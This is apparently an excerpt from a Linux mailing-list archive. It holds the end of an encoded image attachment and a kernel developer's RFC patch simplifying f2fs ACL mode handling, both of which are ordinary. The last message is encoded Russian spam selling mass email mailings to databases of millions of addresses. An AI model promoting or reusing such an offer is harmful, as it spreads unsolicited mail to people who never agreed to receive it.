/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDov L25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENl aGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4 OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6 MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5 OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHht bG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6 Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUu Y29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBo b3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1RkNGMzE5RDRE NDAxMUUzOEU4QUI0RERGRjFCNjgyRiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1RkNGMzE5 RTRENDAxMUUzOEU4QUI0RERGRjFCNjgyRiI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0 YW5jZUlEPSJ4bXAuaWlkOjVGQ0YzMTlCNEQ0MDExRTM4RThBQjREREZGMUI2ODJGIiBzdFJlZjpk b2N1bWVudElEPSJ4bXAuZGlkOjVGQ0YzMTlDNEQ0MDExRTM4RThBQjREREZGMUI2ODJGIi8+IDwv cmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJy Ij8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB 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 --1386479755.Bbd0DA2416356.1380-- From BATV+1829ad4ab7f15beb04dd+3759+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 8 03:15:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 47F2D7F87 for ; Sun, 8 Dec 2013 03:15:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id F3F53304039 for ; Sun, 8 Dec 2013 01:15:16 -0800 (PST) X-ASG-Debug-ID: 1386494099-04bdf01322f7580001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id J0tCLBnF928KCAGr (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 08 Dec 2013 01:15:02 -0800 (PST) X-Barracuda-Envelope-From: BATV+1829ad4ab7f15beb04dd+3759+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VpaRn-0002hK-AR; Sun, 08 Dec 2013 09:14:43 +0000 Date: Sun, 8 Dec 2013 01:14:43 -0800 From: Christoph Hellwig To: Jaegeuk Kim Cc: Christoph Hellwig , viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 09/18] f2fs: use generic posix ACL infrastructure Message-ID: <20131208091443.GA13760@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 09/18] f2fs: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> <20131201120655.205206019@bombadil.infradead.org> <1386293854.2101.8.camel@kjgkr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386293854.2101.8.camel@kjgkr> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386494102 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142929 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Fri, Dec 06, 2013 at 10:37:34AM +0900, Jaegeuk Kim wrote: > f2fs caches a new mode bit for a while to make the consistency between > xattr's acl mode and the inode mode. Can you explain what exactly you're trying to do there? I've been trying to unwrap what's going on and can't really see the point: - i_acl_mode and FI_ACL_MODE get set in __setattr_copy, but right after that call, still under i_mutex and before marking the inode dirty f2fs_acl_chmod makes use of it, and it gets cleared right after. Is there any race that could happen with a locked inode not marked dirty yet on f2fs? We could pass a mode argument to posix_acl_create, but I'd prefer to avoid that if we can. - on the set_acl side it gets set in __f2fs_set_acl, and then i_mode is update in __f2fs_setxattr which could easily done with a stack variable. RFC patch below: diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index 4f52fe0f..6647545 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -17,9 +17,6 @@ #include "xattr.h" #include "acl.h" -#define get_inode_mode(i) ((is_inode_flag_set(F2FS_I(i), FI_ACL_MODE)) ? \ - (F2FS_I(i)->i_acl_mode) : ((i)->i_mode)) - static inline size_t f2fs_acl_size(int count) { if (count <= 4) { @@ -209,11 +206,11 @@ static int __f2fs_set_acl(struct inode *inode, int type, struct posix_acl *acl, struct page *ipage) { struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct f2fs_inode_info *fi = F2FS_I(inode); int name_index; void *value = NULL; size_t size = 0; int error; + umode_t mode = 0; if (!test_opt(sbi, POSIX_ACL)) return 0; @@ -224,10 +221,10 @@ static int __f2fs_set_acl(struct inode *inode, int type, case ACL_TYPE_ACCESS: name_index = F2FS_XATTR_INDEX_POSIX_ACL_ACCESS; if (acl) { - error = posix_acl_equiv_mode(acl, &inode->i_mode); + mode = inode->i_mode; + error = posix_acl_equiv_mode(acl, &mode); if (error < 0) return error; - set_acl_inode(fi, inode->i_mode); if (error == 0) acl = NULL; } @@ -245,19 +242,15 @@ static int __f2fs_set_acl(struct inode *inode, int type, if (acl) { value = f2fs_acl_to_disk(acl, &size); - if (IS_ERR(value)) { - cond_clear_inode_flag(fi, FI_ACL_MODE); + if (IS_ERR(value)) return (int)PTR_ERR(value); - } } - error = f2fs_setxattr(inode, name_index, "", value, size, ipage); + error = f2fs_setxattr(inode, name_index, "", value, size, ipage, mode); kfree(value); if (!error) set_cached_acl(inode, type, acl); - - cond_clear_inode_flag(fi, FI_ACL_MODE); return error; } @@ -289,28 +282,3 @@ int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) return error; } - -int f2fs_acl_chmod(struct inode *inode) -{ - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct posix_acl *acl; - int error; - umode_t mode = get_inode_mode(inode); - - if (!test_opt(sbi, POSIX_ACL)) - return 0; - if (S_ISLNK(mode)) - return -EOPNOTSUPP; - - acl = f2fs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - - error = __posix_acl_chmod(&acl, GFP_KERNEL, mode); - if (error) - return error; - - error = __f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, NULL); - posix_acl_release(acl); - return error; -} diff --git a/fs/f2fs/acl.h b/fs/f2fs/acl.h index 2af31fe..e086465 100644 --- a/fs/f2fs/acl.h +++ b/fs/f2fs/acl.h @@ -38,18 +38,12 @@ struct f2fs_acl_header { extern struct posix_acl *f2fs_get_acl(struct inode *, int); extern int f2fs_set_acl(struct inode *inode, struct posix_acl *acl, int type); -extern int f2fs_acl_chmod(struct inode *); extern int f2fs_init_acl(struct inode *, struct inode *, struct page *); #else #define f2fs_check_acl NULL #define f2fs_get_acl NULL #define f2fs_set_acl NULL -static inline int f2fs_acl_chmod(struct inode *inode) -{ - return 0; -} - static inline int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *page) { diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h index 89dc750..1e774e6 100644 --- a/fs/f2fs/f2fs.h +++ b/fs/f2fs/f2fs.h @@ -181,7 +181,6 @@ struct f2fs_inode_info { unsigned char i_advise; /* use to give file attribute hints */ unsigned int i_current_depth; /* use only in directory structure */ unsigned int i_pino; /* parent inode number */ - umode_t i_acl_mode; /* keep file acl mode temporarily */ /* Use below internally in f2fs*/ unsigned long flags; /* use to pass per-file flags */ @@ -872,7 +871,6 @@ enum { FI_NEW_INODE, /* indicate newly allocated inode */ FI_DIRTY_INODE, /* indicate inode is dirty or not */ FI_INC_LINK, /* need to increment i_nlink */ - FI_ACL_MODE, /* indicate acl mode */ FI_NO_ALLOC, /* should not allocate any blocks */ FI_UPDATE_DIR, /* should update inode block for consistency */ FI_DELAY_IPUT, /* used for the recovery */ @@ -894,21 +892,6 @@ static inline void clear_inode_flag(struct f2fs_inode_info *fi, int flag) clear_bit(flag, &fi->flags); } -static inline void set_acl_inode(struct f2fs_inode_info *fi, umode_t mode) -{ - fi->i_acl_mode = mode; - set_inode_flag(fi, FI_ACL_MODE); -} - -static inline int cond_clear_inode_flag(struct f2fs_inode_info *fi, int flag) -{ - if (is_inode_flag_set(fi, FI_ACL_MODE)) { - clear_inode_flag(fi, FI_ACL_MODE); - return 1; - } - return 0; -} - static inline void get_inline_info(struct f2fs_inode_info *fi, struct f2fs_inode *ri) { diff --git a/fs/f2fs/file.c b/fs/f2fs/file.c index 13eff60..80ef669 100644 --- a/fs/f2fs/file.c +++ b/fs/f2fs/file.c @@ -339,41 +339,9 @@ int f2fs_getattr(struct vfsmount *mnt, return 0; } -#ifdef CONFIG_F2FS_FS_POSIX_ACL -static void __setattr_copy(struct inode *inode, const struct iattr *attr) -{ - struct f2fs_inode_info *fi = F2FS_I(inode); - unsigned int ia_valid = attr->ia_valid; - - if (ia_valid & ATTR_UID) - inode->i_uid = attr->ia_uid; - if (ia_valid & ATTR_GID) - inode->i_gid = attr->ia_gid; - if (ia_valid & ATTR_ATIME) - inode->i_atime = timespec_trunc(attr->ia_atime, - inode->i_sb->s_time_gran); - if (ia_valid & ATTR_MTIME) - inode->i_mtime = timespec_trunc(attr->ia_mtime, - inode->i_sb->s_time_gran); - if (ia_valid & ATTR_CTIME) - inode->i_ctime = timespec_trunc(attr->ia_ctime, - inode->i_sb->s_time_gran); - if (ia_valid & ATTR_MODE) { - umode_t mode = attr->ia_mode; - - if (!in_group_p(inode->i_gid) && !capable(CAP_FSETID)) - mode &= ~S_ISGID; - set_acl_inode(fi, mode); - } -} -#else -#define __setattr_copy setattr_copy -#endif - int f2fs_setattr(struct dentry *dentry, struct iattr *attr) { struct inode *inode = dentry->d_inode; - struct f2fs_inode_info *fi = F2FS_I(inode); int err; err = inode_change_ok(inode, attr); @@ -387,15 +355,9 @@ int f2fs_setattr(struct dentry *dentry, struct iattr *attr) f2fs_balance_fs(F2FS_SB(inode->i_sb)); } - __setattr_copy(inode, attr); - - if (attr->ia_valid & ATTR_MODE) { - err = f2fs_acl_chmod(inode); - if (err || is_inode_flag_set(fi, FI_ACL_MODE)) { - inode->i_mode = fi->i_acl_mode; - clear_inode_flag(fi, FI_ACL_MODE); - } - } + setattr_copy(inode, attr); + if (attr->ia_valid & ATTR_MODE) + err = posix_acl_chmod(inode); mark_inode_dirty(inode); return err; diff --git a/fs/f2fs/xattr.c b/fs/f2fs/xattr.c index e2b9299..8820857 100644 --- a/fs/f2fs/xattr.c +++ b/fs/f2fs/xattr.c @@ -108,7 +108,7 @@ static int f2fs_xattr_generic_set(struct dentry *dentry, const char *name, if (strcmp(name, "") == 0) return -EINVAL; - return f2fs_setxattr(dentry->d_inode, type, name, value, size, NULL); + return f2fs_setxattr(dentry->d_inode, type, name, value, size, NULL, 0); } static size_t f2fs_xattr_advise_list(struct dentry *dentry, char *list, @@ -157,7 +157,7 @@ static int f2fs_xattr_advise_set(struct dentry *dentry, const char *name, #ifdef CONFIG_F2FS_FS_SECURITY static int __f2fs_setxattr(struct inode *inode, int name_index, const char *name, const void *value, size_t value_len, - struct page *ipage); + struct page *ipage, umode_t mode); static int f2fs_initxattrs(struct inode *inode, const struct xattr *xattr_array, void *page) { @@ -167,7 +167,7 @@ static int f2fs_initxattrs(struct inode *inode, const struct xattr *xattr_array, for (xattr = xattr_array; xattr->name != NULL; xattr++) { err = __f2fs_setxattr(inode, F2FS_XATTR_INDEX_SECURITY, xattr->name, xattr->value, - xattr->value_len, (struct page *)page); + xattr->value_len, (struct page *)page, 0); if (err < 0) break; } @@ -475,9 +475,8 @@ cleanup: static int __f2fs_setxattr(struct inode *inode, int name_index, const char *name, const void *value, size_t value_len, - struct page *ipage) + struct page *ipage, umode_t mode) { - struct f2fs_inode_info *fi = F2FS_I(inode); struct f2fs_xattr_entry *here, *last; void *base_addr; int found, newsize; @@ -566,10 +565,9 @@ static int __f2fs_setxattr(struct inode *inode, int name_index, if (error) goto exit; - if (is_inode_flag_set(fi, FI_ACL_MODE)) { - inode->i_mode = fi->i_acl_mode; + if (mode) { + inode->i_mode = mode; inode->i_ctime = CURRENT_TIME; - clear_inode_flag(fi, FI_ACL_MODE); } if (ipage) @@ -582,7 +580,8 @@ exit: } int f2fs_setxattr(struct inode *inode, int name_index, const char *name, - const void *value, size_t value_len, struct page *ipage) + const void *value, size_t value_len, struct page *ipage, + umode_t mode) { struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); int err; @@ -590,7 +589,8 @@ int f2fs_setxattr(struct inode *inode, int name_index, const char *name, f2fs_balance_fs(sbi); f2fs_lock_op(sbi); - err = __f2fs_setxattr(inode, name_index, name, value, value_len, ipage); + err = __f2fs_setxattr(inode, name_index, name, value, value_len, ipage, + mode); f2fs_unlock_op(sbi); return err; diff --git a/fs/f2fs/xattr.h b/fs/f2fs/xattr.h index b21d9eb..c73588a 100644 --- a/fs/f2fs/xattr.h +++ b/fs/f2fs/xattr.h @@ -114,14 +114,15 @@ extern const struct xattr_handler f2fs_xattr_security_handler; extern const struct xattr_handler *f2fs_xattr_handlers[]; extern int f2fs_setxattr(struct inode *, int, const char *, - const void *, size_t, struct page *); + const void *, size_t, struct page *, umode_t); extern int f2fs_getxattr(struct inode *, int, const char *, void *, size_t); extern ssize_t f2fs_listxattr(struct dentry *, char *, size_t); #else #define f2fs_xattr_handlers NULL static inline int f2fs_setxattr(struct inode *inode, int name_index, - const char *name, const void *value, size_t value_len) + const char *name, const void *value, size_t value_len, + umode_t mode) { return -EOPNOTSUPP; } From kbgijz@nm.ru Sun Dec 8 04:43:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 29F8D7F8B for ; Sun, 8 Dec 2013 04:43:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 19E708F8052 for ; Sun, 8 Dec 2013 02:43:27 -0800 (PST) X-ASG-Debug-ID: 1386499393-04cb6c537d5f1240001-w1Z2WR Received: from nm.ru (pool-176-226-203-217.is74.ru [176.226.203.217]) by cuda.sgi.com with SMTP id SIjb87CiogPmzaYg for ; Sun, 08 Dec 2013 02:43:16 -0800 (PST) X-Barracuda-Envelope-From: kbgijz@nm.ru X-Barracuda-Apparent-Source-IP: 176.226.203.217 Message-ID: <2A5F00CD3FCB46DC850FC7D653C85633@upcfqt> From: =?windows-1251?B?y+Xh5eTl4iDD5e3t4OTo6Q==?= To: Subject: =?windows-1251?B?ze7i7uPu5O3o5SBlLW1haWwg8ODx8fvr6ugg?= =?windows-1251?B?5Ov/IOLg+OXj7iDz8e/l+O3u4+4g4ejn7eXx?= =?windows-1251?B?4CE=?= Date: Sun, 8 Dec 2013 14:42:55 +0400 X-ASG-Orig-Subj: =?windows-1251?B?ze7i7uPu5O3o5SBlLW1haWwg8ODx8fvr6ugg?= =?windows-1251?B?5Ov/IOLg+OXj7iDz8e/l+O3u4+4g4ejn7eXx?= =?windows-1251?B?4CE=?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0F69_01CEF423.C7A0A5F0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Antivirus: avast! (VPS 131206-1, 06.12.2013), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: pool-176-226-203-217.is74.ru[176.226.203.217] X-Barracuda-Start-Time: 1386499395 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, BSF_SC5_MJ1963, HTML_MESSAGE, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142931 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multi-part message in MIME format. ------=_NextPart_000_0F69_01CEF423.C7A0A5F0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E5=E4=EB=E0=E3=E0=E5=EC =EC=E0=F1=F1=EE=E2=FB=E5 email-=F0=E0=F1=F1= =FB=EB=EA=E8 =E4=EB=FF =E2=E0=F8=E5=E3=EE =E1=E8=E7=ED=E5=F1=E0! =C2 =ED=E0=EB=E8=F7=E8=E8 =E1=E0=E7=FB =CC=EE=F1=EA=E2=FB(12.5=EC=EB=ED.= =E0=E4=F0=E5=F1=EE=E2) =E8 =F0=E5=E3=E8=EE=ED=EE=E2 =D0=EE=F1=F1=E8=E8(1= 7=EC=EB=ED.). =CC=E8=ED=E8=EC=E0=EB=FC=ED=FB=E9 =EE=E1=FA=E5=EC =E7=E0=EA=E0=E7=E0- 2.= 5=EC=EB=ED.(4000=F0=F3=E1=EB=E5=E9 =E7=E0 =F0=E0=F1=F1=FB=EB=EA=F3). 